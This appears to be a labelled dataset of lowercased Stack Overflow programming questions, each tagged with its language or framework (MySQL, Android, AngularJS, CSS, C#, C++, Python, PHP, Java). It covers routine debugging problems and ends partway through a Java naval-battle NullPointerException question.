searching for a codes in a mysql database  i have a database that stores a large number of codes  these codes are used to validate submission of a form. when ever i run the following query i get zero rows back   <pre><code>select * from `codes` where `voucher` =  jtblynq9ha  </code></pre>   but when i run the following query it bring back the single row with the code in it.   <pre><code>select * from  `codes` where  `voucher` like convert( _utf8  %jtblynq9ha%  using latin1 ) collate latin1_swedish_ci limit 0   30 </code></pre>   what am i doing wrong which causes the first query to fail or should is it best practise to use the second query     thanks for the help,mysql
custom dialog: reference items in custom view  i am at a loss as to how to reference an item in a custom dialog. i have looked <a href= https://stackoverflow.com/questions/17296174/android-check-box-and-radio-group-on-custom-dialog >here</a>  <a href= https://stackoverflow.com/questions/16192378/findviewbyid-returns-null-tried-everything >here</a>  <a href= https://stackoverflow.com/questions/6626006/android-custom-dialog-cant-get-text-from-edittext >here</a>  and other places. <strong>i cannot get the checkbox in the custom dialog to be referenced in an onclick event  or when i try to call it directly in the positive buttons onclick</strong>.     xml:       <pre><code>&lt;textview     android:id= @+id/dialog_title      style=  android:attr/textappearancelarge      android:layout_width= wrap_content      android:layout_height= wrap_content      android:background= @color/white      android:layout_weight= 1      android:text= @string/delete_db_on_exit      android:textcolor= @color/black  /&gt;  &lt;textview     android:id= @+id/dialog_message      android:layout_width= wrap_content      android:layout_height= wrap_content      android:background= @color/white      android:text= @string/confirm_delete      android:textcolor= @color/black  /&gt;  &lt;checkbox     android:id= @+id/confirm_delete_checkbox      android:paddingtop= 5dp      android:background= @color/white      android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= @string/confirm_delete_checkbox /&gt; </code></pre>       code in activity that calls dialog:   <pre><code>private layoutinflater inflator; private view dialogview; @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_administration);     inflator = this.getlayoutinflater();     dialogview = inflator.inflate(r.layout.custom_dialog  null); }  public void deletedatabases(view view){     alertdialog.builder dialogbuilder = new alertdialog.builder(this)             .settitle(r.string.delete_db_on_exit)             .setcustomtitle(getlayoutinflater().inflate(r.layout.custom_dialog  null))             .setpositivebutton(r.string.confirm_button_text  new dialoginterface.onclicklistener() {                 public void onclick(dialoginterface dialog  int id) {                     if (((checkbox) dialogview.findviewbyid(r.id.confirm_delete_checkbox)).ischecked()) { //never true. no exceptions thrown                         setdeletedatabaseonexit();                         dialog.cancel();                         //navigate back to main activity                         intent mainactivityintent = new intent(administrationactivity.this  mainactivity.class);                         startactivityforresult(mainactivityintent  1);                     }                 }             });      checkbox confirmdeletecheckbox = (checkbox)dialogview.findviewbyid(r.id.confirm_delete_checkbox);     confirmdeletecheckbox.setoncheckedchangelistener(new compoundbutton.oncheckedchangelistener() {         @override         public void oncheckedchanged(compoundbutton buttonview  boolean ischecked) {             int x = 0;             x = 1;         }     });      alertdialog dialog = dialogbuilder.create();     dialog.show(); } </code></pre>,android
nested array ng-repeat error: [ngrepeat:dupes]  i have an object i m trying to iterate through and having trouble nesting the <code>ng-repeats</code>   <pre><code>$scope.report_data = {   data [     system_0: [       0:  string         1: 435        2:  another value      ]   ]     headers [     0: [       0: title        1:  cha      ]   ] } </code></pre>   i m trying to build a table with the headers as th s and each piece of data is mapped to the headers.     what i have right now is    <pre><code>&lt;table&gt;   &lt;thead&gt;     &lt;tr&gt;       &lt;th ng-repeat= header in report_data.headers &gt;{{ header.0 }}&lt;/th&gt;     &lt;/tr&gt;   &lt;/thead&gt;   &lt;tbody&gt;     &lt;tr&gt;       &lt;td ng-repeat= system in report_data.data &gt;         &lt;span ng-repeat= _item in system &gt;{{ _item }}&lt;/span&gt;       &lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt; &lt;table&gt; </code></pre>   but i m not able to iterate over each item in each system and add it as a column. the error i m receiving is <code>error: [ngrepeat:dupes]</code>    what s the best way to iterate over nested arrays,angularjs
ios device test mode and old ios development  when i was signing up for development program  then in the agreement  i saw a clause which basically stated that if a pre-release software is installed on any device  then that device will be put in test mode. so  what exactly is the limitation of a test mode as compared to a device which is in  normal  mode  also  if i install ios7 in a device (after ios 7 has been released)  then will the device be considered to be in a test mode if i test my application on it      moreover  if i submit an application which runs on ios 6 after ios 7 has been launched  then can that be considered grounds for app rejection   i will develop app for ios 7 also. however  that will take some time.    thanks,ios
css border-bottom in the middle  hello :) is it possible to have bottom border in the center (without using pictures). something like separator between list items which doesn t go from edge to edge     thanks,css
how to get row which has max date from a dataset using rowfilter in net 1.1 c#  i have a dataset  let s say  ds . this dataset contains only one table  and this table may have 1 or more rows.    i need to filter rows and get the row with min datetime and at the same time with a specific value for another field  for example  condition for rowfilter would be:   <pre><code>min(datetimefield) and anotherfield=12 </code></pre>   i am using rowfilter feature as below (for one field):   <pre><code>ds.tables[0].defaultview.rowfilter= anotherfield=12  </code></pre>   but taken into account the datetime field i am trying to do below:   <pre><code>ds.tables[0].defaultview.rowfilter= anotherfield=12 and min(datetimefield)  </code></pre>   but how to pass to rowfilter datetime field from this:   <pre><code>ds.tables[0].rows[0][ datetimefield ] </code></pre>   i am not sure if min(datetimefield) within rowfilter is working.    so how can i filter dataset rows and get only one with min datetime and anotherfield=12     <strong>update</strong>:    using filter below:   <pre><code>ds.tables[0].defaultview.rowfilter= anotherfield=12 and min(datetimefield)  </code></pre>   i am getting below exception:   <pre><code>an unhandled exception of type  system.data.evaluateexception  occurred in system.data.dll  additional information: cannot perform  and  operation on system.boolean and system.datetime. </code></pre>   any ideas,c#
is there a tool for checking minimum .net framework version   i recently wrote a c# app that didn t run on some pc s. the problem was that i was using a method that was only added in the sp1 version of the 3.5 .net framework.    when the method was called  i would get an methodnotfound exception  like in this problem: <a href= https://stackoverflow.com/questions/475319/exception-is-occuring-only-on-my-machine-method-not-found-waithandle-waitonei >exception is occuring only on my machine: method not found: waithandle.waitone(int32)</a>    my question: is there a tool that will examine my code (statically )  and tell me the minimum version of the .net framework that i need (including service packs)     seems like it would be handy  although i m not sure how common this is.,.net
how can i render two angular.js views on the same page   if i have two <code>&lt;div ng-view&gt;&lt;/div&gt;</code> elements on the same page  angular.js only uses the first one. i am looking to have two templates (with two controllers and two partials) rendered on the same page  how do i do that  the code below does not work but i d like to have something along these lines.   <pre><code>&lt;div class= row &gt;   &lt;div class= large-6 small-12 columns &gt;     &lt;div ng-controller= siteshomectrl  &gt;       &lt;div ng-view&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;div class= large-6 small-12 columns &gt;     &lt;div ng-controller= usersmeetctrl  &gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>,angularjs
adding values after a mysql query   i have created a query that gets two values. it outputs the correct values but now i want to add these values together to get one value in a column named  total cost . is this possible if  total cost  is not a column in my tables     here is the query i used:   <pre><code>select round(sum(drugcost_cost) 0) from drugcost union select round(sum(operation_cost) 0) from operation </code></pre>   <img src= https://i.stack.imgur.com/ml0gb.png  alt= output with code >,mysql
how i will stop this kind of warning  <object>may not response to -<function name>  <pre><code> - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions { classa *obj=[[classa alloc]init];  [obj show]; } </code></pre>   here i make a object of a classa and call a function from the classa but at this point i am geting a warning that  obj may not response to -show .,ios
assets in rails. how to minimize   i pin my assets in application.html.erb such:   <pre><code>&lt;%= javascript_include_tag( scripts.js ) %&gt; </code></pre>   but when i look in  later  it includes and <code>scripts.js</code> and <code>application.js</code>. double time. how can i fix it and how can i put all my js or css files into application.js(.css) without other files in <code>&lt;head&gt;</code> part,ruby-on-rails
activemodel::massassignmentsecurity::error with rails 4 without a controller  i have the following method in my user model.   <pre><code>def self.create_from(house:)   create!(     house: house      uuid: generate_uuid    ) end </code></pre>   why am i getting a <code>activemodel::massassignmentsecurity::error</code> for both <code>house</code> and <code>uuid</code> if i am not calling <code>create_from</code> from a controller  what is the suggested way to solve this in rails 4.2  i am used to use <code>strong_params</code> when calling from a controller  but this model method is called not from a controller.,ruby-on-rails
-[__nscfarray objectforkeyedsubscript:] error   i m trying to get the data from a json response object in my ios app after i log in. i keep getting this error though.    error:   <pre><code> nsinvalidargumentexception   reason:  -[__nscfarray objectforkeyedsubscript:]: unrecognized selector sent to instance 0x8fc29b0  </code></pre>   here is my code for the request  i m using afnetworking:   <pre><code>self.operation = [manager get:urlstring parameters:params success:^(afhttprequestoperation *operation  id responseobject) {             nsdictionary *json = (nsdictionary *)responseobject;             nsdictionary *user = json[@ user ];             nsstring *token = user[@ auth_token ];             nsstring *userid = user[@ id ]; //            nsstring *avatarurl = user[@ avatar_url ]; //            weakself.credentialstore.avatarurl = avatarurl;             weakself.credentialstore.authtoken = token;             weakself.credentialstore.userid = userid;             weakself.credentialstore.username = self.usernamefield.text;             weakself.credentialstore.password = self.passwordfield.text;             [svprogresshud dismiss];             [self dismissviewcontrolleranimated:yes completion:nil];         } failure:^(afhttprequestoperation *operation  nserror *error) {             if (operation.iscancelled) {                 return;             }             [svprogresshud showerrorwithstatus:@ login failed ];             nslog(@ %@   error);         }];  </code></pre>   what the json response object looks like logged:   <pre><code>&lt;__nscfarray 0x8cac0b0&gt;( {     user =     {          auth_token  = b3a18e0fb278739649a23f0ae325fee1e29fe5d6;         email =  jack@jack.com ;         id = 1;         username = jack;     }; } ) </code></pre>   i m converting the array to a dictionary using pointers like this:    <strong>edit:</strong> as pointed out in the comments incase anyone else stumbles across this with limited knowledge in ios. i m casting here not converting. see the answers for a full explanation.    <pre><code>nsdictionary *json = (nsdictionary *)responseobject; </code></pre>   i m new to ios  apologies if problem is obvious.     thanks for any help.,ios
format exception  the below snipets are  from my form1 code.  i keep getting a format exception because of my messagebox.show(…); declaration in my stop() method.  why   what am i doing wrong          ...   <pre><code>    private timespan iterationduration = timespan.zero;     ...      public void stop()     {         isgameover = true;         messagebox.show(string.format( game over\n\nscore = {0}\n\n time duration =   {l}   score  iterationduration));         application.exit();     }       public void start()     {          score = 0;         isgameover = false;          currentredlightx = 0;         currentredlighty = 0;          currentgreenlightx = width / 2;         currentgreenlighty = height / 2;           double miniterationduration = speed; // 50 frames / sec          //game loop         while (!isgameover)         {             if (iscollision())             {                 score += 10;             }              datetime startiterationtime = system.datetime.now;             updategamestate();             render();             datetime enditerationtime = system.datetime.now;             timespan iterationduration = enditerationtime - startiterationtime;             if (iterationduration.totalmilliseconds &lt; miniterationduration)                 thread.sleep(convert.toint32(miniterationduration - iterationduration.totalmilliseconds));             application.doevents();         }      } </code></pre>,c#
how to convert char array to lpctstr  i have function like this which takes variable number of argument and constructs  the string and passes it to another function to print the log .    <pre><code>logverbose( const char * format  ... ) { char buffer[1024]; va_list args; va_start (args  format); vsprintf (buffer format  args); va_end (args);      logwriteentry(  here i need to pass buffer as lpctstr so how to convert buffer to lpctstr   );  } </code></pre>   instead of using buffer[1024] is there any other way  since log can be bigger or very smaller . all this am writing in c++ code please let me know if there is better way to do this .....,c++
`render` shows stale model value  while redirect_to shows the correct one  given that <code>a has_many b</code>  i update some attributes of model b in a given method of a s controller.    if at the end of this method i call   <pre><code>    render action:  show  </code></pre>     the old values (i.e. prior to the update) will be rendered. if instead i do   <pre><code>    redirect_to @a </code></pre>     the correct/updated value will be shown.    <strong>what could be causing this behavior  is there a method for explicitly marking a model as  updated  </strong>,ruby-on-rails
android videoview does not work  i play with a very simple example from the book  android studio development  6 edition  for using videoview class  codes as below:   <pre><code>final videoview videoview = (videoview)findviewbyid(r.id.videoview1); videoview.setvideopath( http://www.ebookfrenzy.com/android_book/movie.mp4 ); videoview.start(); </code></pre>   note:(1) i setup:                  in manifest.     (2) i try the movie.mp4 link from my pc  it can be download to my pc to open    but i load this simple project to my physical device: android 4.3  api 18. the device screen shows:  cannot play this video     on the error log:<br> d/mediaplayer: couldn t open file on client side  trying server side e/mediaplayer: unable to to create media player w/videoview: unable to open content: <a href= http://www.ebookfrenzy.com/android_book/movie.mp4  rel= nofollow >http://www.ebookfrenzy.com/android_book/movie.mp4</a>    there are same fix ways on stackoverflow  but i just unable to use these to resolve my problem.    anyone has tried this book s sample and found same problem and resolve it  please give me the help.    thanks     sunny,android
why css height 100% is not applying for normal div   this is my simple code   <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;style&gt;             div{height:100%;width:100%;background:red;position:relative;}         &lt;/style&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;div&gt;&lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   css height 100% is not applying for div.    i know some other css code to obtain this. but why this code is not working. how to work on height 100% and width 100% without any script.,css
using union with group by in mysql  i am trying to use union between to select statements and group by the department name field   in logic it should run smoothly but the outcome is strange it shows duplicate rows .   <pre><code>select departments.name      count(case             when direction_name =  incoming  then 1         end) as total_incoming          count(case             when direction_name =  incoming  then 1         end             and case             when description =  missed  then 1         end) as total_incoming_missed          count(case             when direction_name =  incoming  then 1         end             and case             when description =  station busy  then 1         end) as total_incoming_busy          count(case             when direction_name =  incoming  then 1         end             and case             when description =  normal  then 1         end) as total_incoming_answered          count(case             when direction_name =  on network  then 1         end) as total_on_network          count(case             when direction_name =  on network  then 1         end             and case             when description =  missed  then 1         end) as total_on_network_missed          count(case             when direction_name =  on network  then 1         end             and case             when description =  station busy  then 1         end) as total_on_network_busy          count(case             when direction_name =  on network  then 1         end             and case             when description =  normal  then 1         end) as total_on_network_answered from     call_classification_dim  call_flags  departments  fct_calls  flags where     (fct_calls.id = call_flags.call_id)         and (call_flags.flag = flags.id)         and (fct_calls.call_direction_id = call_classification_dim.id)         and (fct_calls.on_network_called_department_id = departments.id)         and (departments.id &gt; 2)         and (fct_calls.call_direction_id = 3)         group by departments.name   union    select departments.name      count(case             when direction_name =  incoming  then 1         end) as total_incoming          count(case             when direction_name =  incoming  then 1         end             and case             when description =  missed  then 1         end) as total_incoming_missed          count(case             when direction_name =  incoming  then 1         end             and case             when description =  station busy  then 1         end) as total_incoming_busy          count(case             when direction_name =  incoming  then 1         end             and case             when description =  normal  then 1         end) as total_incoming_answered          count(case             when direction_name =  on network  then 1         end) as total_on_network          count(case             when direction_name =  on network  then 1         end             and case             when description =  missed  then 1         end) as total_on_network_missed          count(case             when direction_name =  on network  then 1         end             and case             when description =  station busy  then 1         end) as total_on_network_busy          count(case             when direction_name =  on network  then 1         end             and case             when description =  normal  then 1         end) as total_on_network_answered from     call_classification_dim  call_flags  departments  fct_calls  flags where     (fct_calls.id = call_flags.call_id)         and (call_flags.flag = flags.id)         and (fct_calls.call_direction_id = call_classification_dim.id)         and (fct_calls.on_network_calling_department_id = departments.id)         and (departments.id &gt; 2)         and (fct_calls.call_direction_id = 2) group by departments.name </code></pre>   the result should be 3 rows combining the data from the two select statements and grouped by the department name  instead it show 6 rows as the two select statements are called separately without join .,mysql
how do i write clipboard contents to text file   i need to write the contents of the clipboard to a text file. i ve searched here for an answer but didn t find anything that worked for my situation. just need a simple example.    thanks in advance...,.net
php array arithmetic loop back to start if negative  if i have the following array:   <pre><code>$myarray = [1 =&gt;  a    2  =&gt;  b   3 =&gt;  c ]; </code></pre>   and i have a start value of 2;    i would like to say 2 - 1 = 1 so give me value a from this array but if 2 - 2 = 3 so give me value c.    that is  the arithmetic should be bounded in the number of elements inside my array and any values that go beyond the array indexes go back to the start or end of the array,php
std::map of method function pointer doesn t compile  i ve got a nice error when i try to insert my map of method pointer:   <pre><code>nts::icomponent *builder::createcomponent(const std::string &amp;type  const std::string &amp;value) {         fptr ptr = listfunction[type];         return (ptr(value));     }  builder::builder() {         listfunction.insert(make_pair( 4081   &amp;builder::create4081));     }  nts::icomponent *builder::create4081(string const &amp;value) const {         return new c4081(value);     } </code></pre>   here s the definition:   <pre><code>class builder {     typedef icomponent *(*fptr)(string const &amp;); private:     map&lt;string  fptr const&gt; listfunction;      //composants     icomponent *create4081(string const &amp;) const; public:     builder();     icomponent *createcomponent(const std::string &amp;type  const std::string &amp;value);  }; </code></pre>   and here s the error:   <pre><code>home/aherys/documents/nanotekspicelib/builder.cpp: dans le constructeur « builder::builder() »: /home/aherys/documents/nanotekspicelib/builder.cpp:15:64: erreur : no matching function for call to « std::map&lt;std::__cxx11::basic_string&lt;char&gt;  nts::icomponent* (* const)(const std::__cxx11::basic_string&lt;char&gt;&amp;)&gt;::insert(std::pair&lt;const char*  nts::icomponent* (builder::*)(const std::__cxx11::basic_string&lt;char&gt;&amp;) const&gt;) »      listfunction.insert(make_pair( 4081   &amp;builder::create4081));                                                                 ^ in file included from /usr/include/c++/6.3.1/map:61:0                   from /home/aherys/documents/nanotekspicelib/builder.h:10                   from /home/aherys/documents/nanotekspicelib/builder.cpp:5: /usr/include/c++/6.3.1/bits/stl_map.h:731:7: note : candidate: std::pair&lt;typename std::_rb_tree&lt;_key  std::pair&lt;const _key  _tp&gt;  std::_select1st&lt;std::pair&lt;const _key  _tp&gt; &gt;  _compare  typename __gnu_cxx::__alloc_traits&lt;_alloc&gt;::rebind&lt;std::pair&lt;const _key  _tp&gt; &gt;::other&gt;::iterator  bool&gt; std::map&lt;_key  _tp  _compare  _alloc&gt;::insert(const value_type&amp;) [with _key = std::__cxx11::basic_string&lt;char&gt;; _tp = nts::icomponent* (* const)(const std::__cxx11::basic_string&lt;char&gt;&amp;); _compare = std::less&lt;std::__cxx11::basic_string&lt;char&gt; &gt;; _alloc = std::allocator&lt;std::pair&lt;const std::__cxx11::basic_string&lt;char&gt;  nts::icomponent* (* const)(const std::__cxx11::basic_string&lt;char&gt;&amp;)&gt; &gt;; typename std::_rb_tree&lt;_key  std::pair&lt;const _key  _tp&gt;  std::_select1st&lt;std::pair&lt;const _key  _tp&gt; &gt;  _compare  typename __gnu_cxx::__alloc_traits&lt;_alloc&gt;::rebind&lt;std::pair&lt;const _key  _tp&gt; &gt;::other&gt;::iterator = std::_rb_tree_iterator&lt;std::pair&lt;const std::__cxx11::basic_string&lt;char&gt;  nts::icomponent* (* const)(const std::__cxx11::basic_string&lt;char&gt;&amp;)&gt; &gt;; std::map&lt;_key  _tp  _compare  _alloc&gt;::value_type = std::pair&lt;const std::__cxx11::basic_string&lt;char&gt;  nts::icomponent* (* const)(const std::__cxx11::basic_string&lt;char&gt;&amp;)&gt;]        insert(const value_type&amp; __x) </code></pre>   trying a lot of things  but it look like i miss something. i didn t understand where is the syntax or dereference error. can you explain,c++
default file name in web browser  i m designing a webpage that has an index.php file.  when i enter the url <a href= http://mywebpage.com  rel= nofollow noreferrer >http://mywebpage.com</a>  the index.php file is displayed as it should be  but the file name index.php is not displayed with the url.  i d like for it to have <a href= http://mywebpage.com/index.php  rel= nofollow noreferrer >http://mywebpage.com/index.php</a>.  is there any way to accomplish this     i have jquery code that is responsible for highlighting the selected item in the navbar  but it is relying on the url having the file name so that it can match the,html
does an inherited function not count as an implementation   i have a function defined in a superclass  interactorstyle. then i have another class that requires that function to be implemented (pure virtual)  pointselector. then a subclass of pointselector  pointselector2d  is instantiated. the compiler complains that i can t instantiate an abstract class because myfunction() is not implemented. why doesn t the function that gets inherited from interactorstyle count as this implementation    <pre><code>#include &lt;iostream&gt;  // i can t change these: class interactorstyle {   void myfunction(){} };  class pointselector {   virtual void myfunction() = 0; };  class pointselector2d : public interactorstyle  public pointselector {  };   int main() {   pointselector2d a;   return 0; } </code></pre>,c++
ordinal of byte not in range when decoding unicode  i wrote a program to convert english sentence to malayalam using following program   <pre><code># coding=utf-8 import re import eng_manglish import linecache import nltk line =    mal_sent=    out_file =open( mal_sent   w ) input_file = open( frequently_used_eng_sent   r ) for line in input_file:     mal_sent=        convert_indicate =[]     print  *************************      line = line.replace( .     )     line =line.replace( [0-9]     )     line =re.sub( [0-9].[\t]*      line)     line = line.strip()     print line     line = line.lower()     text=nltk.word_tokenize(line)     data = nltk.pos_tag(text)     print data     words = line.split()     print words     for word in words:         print word[0]         dict_file = open( dictionary/eng-mal-dict/ +word[0]   r )         for dicline in dict_file:             flag=0               #print  *********************************              dicline = dicline.strip()             dicline = dicline.split( : )             #print dicline[0]             if dicline[0] == word:#fing code for exact match                 print dicline                 print  found                  convert_indicate.append(1)                 flag =1                 print dicline[2]                 mal_sent=mal_sent+dicline[2]+                    print mal_sent.encode( utf-8 )                 break         if flag==0:              convert_indicate.append(0)     #transform word to manglish if not converted             mal_sent=mal_sent+eng_manglish.transform(word)+             dict_file.close()     print convert_indicate      print mal_sent      out_file.write(mal_sent) </code></pre>   with the dictionary content of the form    <pre><code>abbey:n:സന്യാസി മഠം </code></pre>   after executing this program i got an error in line <strong>mal_sent=mal_sent+dicline[2]+   </strong> as <strong>unicodedecodeerror:  ascii  codec can t decode byte 0xe0 in position 0: ordinal not in range(128)</strong>    could you please help me to solve this error,python
local host and port number in server variable  i have the following snippet that i am stuck at how to figure out getting the port number so the result might  turn  out correct as expected.   <pre><code>$server_list = array(                 localhost:8282  =&gt; array( test  =&gt; false   site_id  =&gt;  flytoheaven )  );  $server_name = $_server[ server_name ]; if (!isset($server_list[$server_name])) {     $server_name =  unknown ;     print  unknown server name!! ;     exit(); </code></pre>   i will always get  unknown server name  in the output. if i delete the port number after localhost then the error is different  which means it passed this  if  condition. any help please ....,php
how can i use an accumulator in a while loop  i am trying to write a program that takes input from the user and then multiplies that input by 10. this input is then added to an accumulator whose initial value is <code>acc=0.0</code>. this repeats until the <code>acc</code> reaches &lt; 100. i am not sure if there are other ways to do it  but for now i want to use the while loop for this. below is what i have done so far. but not quite there. i know im having trouble digesting the while loop concept.   <pre><code>condition=100 number = input( enter your number:  ) number = int(number)*10 acc=0.0 while acc &lt;= condition:     number1 = input( next number:  )     number1 = int(number1)*10     acc = number1 + number     print( the summed value is   acc) </code></pre>,python
mysql: order joined table <pre><code>right join (select * from images order by image_id) as `i` on i.ad_id = a.id </code></pre>   how to order joined table without using temporary table  :)    because it s 5x slower than simple join:   <pre><code>right join images as `i` on i.ad_id = a.id </code></pre>   and there are problems with fields list  which should be duplicated inside subquery as well to avoid using * sign.    thanks ;)    <strong>update</strong>   <pre><code>select a.id  group_concat(image_id) as `image_ids` from `ads` as `a` right join (select * from images order by image_id) as `i` on i.ad_id = a.id group by `a`.`id` order by `a`.`id` desc </code></pre>   there are multiple rows that match per id in joined table. that s why i need to order them.   <pre><code>group_concat(image_id) </code></pre>,mysql
.net programming choosing the right platform  i m now converting an old classic asp intranet website to .net. i wave to decide between aspx  winforms  wpf  mvc. i want quick development so i m trying to run away from aspx  but if i have to i have to.    what do you guys suggest     thanks,.net
"css image scaling on the left with the details on the right  im trying to get an image on the left. it should scale  keeping the aspect ratio  as the window size changes. if the image goes bellow 600px it should scroll. on the right i want the details of the image. something like this:    <a href= https://i.stack.imgur.com/98ivv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/98ivv.png  alt= enter image description here ></a>    so far i m stuck on getting the image to scale properly. the closest i can get is <a href= https://jsfiddle.net/aj0taovh/2/  rel= nofollow noreferrer >either the image covers the details</a> or <a href= https://jsfiddle.net/h9xe1q76/2/  rel= nofollow noreferrer >pushes it bellow</a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.details {
   float: right;
   width: 200px;
   background: green
 }
 
 .theimage {
   width: 100%;
   object-fit: contain;
   object-fit: cover;
   overflow: hidden;
 }
 
 .container {
   background: red;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= main &gt;
   &lt;div class= details &gt;
     the details
   &lt;/div&gt;
   &lt;div class= container &gt;
     &lt;img class= theimage  src= https://ichef.bbci.co.uk/images/ic/720x405/p0517py6.jpg &gt;
   &lt;/div&gt;
 
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
horizontally align breadcrumbs - css  i am having a hard time aligning the breadcrumbs horizontally. there is an existing style sheet for the container divs and something in it is preventing the output.    the ul li appear one below the other.    <a href= http://jsfiddle.net/y9tyc2cu/1/  rel= nofollow >http://jsfiddle.net/y9tyc2cu/1/</a>    <strong>html:</strong>   <pre><code>&lt;div class= chatwrapper &gt;     &lt;div class= chatcontainer &gt;         &lt;div class= chatmsgwrapper &gt;             &lt;ul id= crumbs &gt;                 &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;                  &lt;/li&gt;                 &lt;li&gt;&lt;a href= # &gt;main section&lt;/a&gt;                  &lt;/li&gt;                 &lt;li&gt;&lt;a href= # &gt;sub section&lt;/a&gt;                  &lt;/li&gt;                 &lt;li&gt;&lt;a href= # &gt;sub sub section&lt;/a&gt;                  &lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>css:</strong>   <pre><code>ul#crumbs  ul#crumbs li {     list-style-type:none;     padding:0;     margin:0; } #crumbs {     height:2.3em;     border:1px solid #dedede; } #crumbs li {     float:left;     line-height:2.3em;     color:#777;     padding-left:.75em; } #crumbs li a {     /*background:url(/assets/images/crumbs.gif) no-repeat right center;*/     background:gray;     padding:5px 15px 5px 0; } </code></pre>,css
how do i debug a nullpointerexception   i am trying to place ships on a console based board game  i have the following errors and not sure how to debug them.   <blockquote>    exception in thread  main  java.lang.nullpointerexception         at navalbattle.board.print(board.java:570)         at navalbattle.board.placeshipsp1(board.java:267)         at navalbattle.board.(board.java:61)         at navalbattle.controller.start(controller.java:29)         at navalbattle.controller.main(controller.java:21)  </blockquote>   line 570 is value = this.ships2[row][col].tostring();   <pre><code>import java.util.scanner;    public class controller {      /**      * the board that represents the current state of the game.      */     private board board;      public controller() {}      /**      * this creates one library object and calls its start method.      *       * @param args      */     public static void main(string[] args) {         new controller().start();     }     int pl;     /**      * the plrimary method that starts and coordinates a game. call this to      * begin a new game.      */     public void start() {         this.board = new board();          scanner scanner = new scanner(system.in);         this.board.moveship();         while (!this.board.isgameover()) {             pl = 1;             this.board.moveship();             pl = 2;             this.board.moveship2(null);             this.board.remap();             this.board.moveship2(null);         system.out.println( enter a row and column number at which to shoot (e.g.  2 3):  );         string[] coordinates = scanner.nextline().split(   );         if (coordinates.length != 2) {         system.out.println( pllease enter coordinates in the correct format. );             continue;             }             int row = integer.parseint(coordinates[0].trim());             int column = integer.parseint(coordinates[1].trim());             this.board.bombop(row  column);         }         if (pl == 1);{         system.out.println( game over player 2 wins );         }         if (pl == 2){         system.out.println( game over player 1 wins );           }     } } </code></pre>   <br>   <pre><code>// board class  import java.util.arraylist; import java.util.scanner;  public class board {      int x = 0;     int y = 0;      arraylist&lt;ships&gt; player1 = new arraylist&lt;&gt;();     arraylist&lt;ships&gt; player2 = new arraylist&lt;&gt;();     /**      * the number of shots that have hit ships      */     private int hitcount;      /**      * track the locations of the board that have been fired upon      */     private boolean[][] locationsfiredupon;      /**      * track the ships in the game      */     private ships[][] ships;      private ships[][] ships2;      private ships[][] shipsm;      /**      * the number of ships sunk      */     private int shipssunk;      /**      * the number of shots fired      */     private int shotsfired;      /**      * constructor. initializes internal counters and populates the game      * board with randomly placed ships.      */     public board() {         this.hitcount = 0;         this.shipssunk = 0;         this.shotsfired = 0;         board();         this.ships = new ships[6][9];         this.ships2 = new ships[6][9];         this.locationsfiredupon = new boolean[6][9];         for (int row=0; row &lt; this.ships.length; row++) {             for (int col=0; col &lt; this.ships[row].length; col++) {                 this.ships[row][col] = new conflict();                 this.locationsfiredupon[row][col] = false;             }         }          this.placeshipsp1();         this.placeshipsp2();         this.moveship();         this.moveship2(player1);     }      public void remap() {         board();         this.locationsfiredupon = new boolean[6][9];         for (int row=0; row &lt; this.ships.length; row++) {             for (int col=0; col &lt; this.ships[row].length; col++) {                 this.ships[row][col] = new conflict();                 this.locationsfiredupon[row][col] = false;             }         }     }      /**      * constructor for testing. accepts an input ship array and does not      * attempt to place ships      * @param shiparray      */     public board(ships[][] shiparray) {         this.hitcount = 0;         this.shipssunk = 0;         this.shotsfired = 0;         this.ships = shiparray;         this.locationsfiredupon = new boolean[6][9];         for (int row=0; row &lt; this.ships.length; row++) {             for (int col=0; col &lt; this.ships[row].length; col++) {                               this.locationsfiredupon[row][col] = false;             }         }     }      public void board(){         this.ships = new ships[6][9];         this.ships2 = new ships[6][9];     }      /**      * get the number of shots fired that have hit a ship.      * @return  the number of shots fired that have hit a ship      */     public int gethitcount() {         return this.hitcount;     }      /**      * get the game board.      * @return  a 2-d array of ships representing the game      */     public ships[][] getshiparray() {         return this.ships;     }      public ships[][] getshiparray2() {         return this.ships2;     }      /**      * get the number of ships sunk.      * @return  the number of ships sunk      */     public int getshipssunk() {         return this.shipssunk;     }      /**      * get the number of shots fired so far.      * @return  the number of shots fired      */     public int getshotsfired() {         return this.shotsfired;     }        /**      * create an list of ships that can be placed on the board:      * - 1 battleship      * - 2 cruisers      * - 3 destroyers      * - 4 submarines      * @return  ships to be placed on the board      */     private arraylist&lt;ships&gt; generateinitialshiparraylist1() {         arraylist&lt;ships&gt; ship = new arraylist&lt;ships&gt;();          for (int i=0; i&lt;1; i++) {             ship.add(new battleship());         }            for (int i=0; i&lt;0; i++) {             ship.add(new minesweeper());         }         for (int i=0; i&lt;0; i++) {             ship.add(new destroyer());         }         for (int i=0; i&lt;0; i++) {             ship.add(new submarine());         }            for (int i=0; i&lt;0; i++) {             ship.add(new mines());         }            return ship;     }      private arraylist&lt;ships&gt; generateinitialshiparraylist2() {         arraylist&lt;ships&gt; ship2 = new arraylist&lt;ships&gt;();          for (int i=1; i&lt;2; i++) {             ship2.add(new battleship());         }            for (int i=1; i&lt;1; i++) {             ship2.add(new minesweeper());         }         for (int i=1; i&lt;1; i++) {             ship2.add(new destroyer());         }         for (int i=1; i&lt;1; i++) {             ship2.add(new submarine());         }            for (int i=1; i&lt;1; i++) {             ship2.add(new mines());         }            return ship2;     }      /**      * indicate whether the game is over by checking if all ships have been       * sunk.      * @return  true if all ships are sunk; otherwise false      */     public boolean isgameover() 